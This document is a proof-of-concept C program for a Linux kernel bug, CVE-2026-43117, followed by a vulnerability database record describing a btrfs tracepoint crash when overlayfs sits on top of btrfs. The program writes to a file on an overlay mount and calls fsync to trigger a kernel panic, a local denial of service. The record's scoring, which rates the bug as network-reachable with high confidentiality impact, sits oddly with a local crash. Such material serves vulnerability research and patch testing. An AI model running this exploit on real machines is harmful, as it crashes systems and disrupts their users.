CVE-2026-43117

// PoC for CVE-2026-43117 // Trigger requires Btrfs as underlying fs with Overlayfs on top #include <fcntl.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> int main(int argc, char *argv[]) { int fd; const char *file_path = "/mnt/overlay/test_file"; // Path on overlayfs printf("[+] Attempting to trigger CVE-2026-43117...\n"); // Open or create a file on the Overlayfs mount point fd = open(file_path, O_RDWR | O_CREAT, 0644); if (fd < 0) { perror("[-] Open failed"); return 1; } // Write some data to ensure metadata is generated if (write(fd, "test", 4) < 0) { perror("[-] Write failed"); close(fd); return 1; } printf("[*] Calling fsync on file...\n"); // The fsync call triggers btrfs_sync_file -> tracepoint -> dentry->d_sb crash if (fsync(fd) < 0) { // fsync might fail or return error, but the crash happens inside kernel perror("[-] Fsync failed (check kernel logs for panic)"); } else { printf("[+] Fsync returned (kernel might have panicked)"); } close(fd); return 0; }

{"cve": {"id": "CVE-2026-43117", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T10:16:25.513", "lastModified": "2026-05-08T17:43:39.250", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nbtrfs: tracepoints: get correct superblock from dentry in event btrfs_sync_file()\n\nIf overlay is used on top of btrfs, dentry->d_sb translates to overlay's\nsuper block and fsid assignment will lead to a crash.\n\nUse file_inode(file)->i_sb to always get btrfs_sb."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.8", "versionEndExcluding": "6.6.136", "matchCriteriaId": "130C6A37-2766-49E1-848F-2410950B4262"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.83", "matchCriteriaId": "7F0AE5B5-23AC-4DCC-B37A-51CA1DAE7BA8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.24", "matchCriteriaId": "8126B8B8-6D0B-4443-86C1-672AEE893555"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.14", "matchCriteriaId": "D6A8A074-BBF4-4803-ABED-519A839435BB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/2e4adfaec97ee053ad1bdfb5036845e66f7e0d8a", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/32372781d664a9b03c40343e96c29d0a6139f97d", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/a85b46db143fda5869e7d8df8f258ccef5fa1719", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/c09a7446aab5773f38d6abb25fce99b8e1dfbc97", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/d110d7cdb045715c0b45b0dfd974525bb38f653d", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}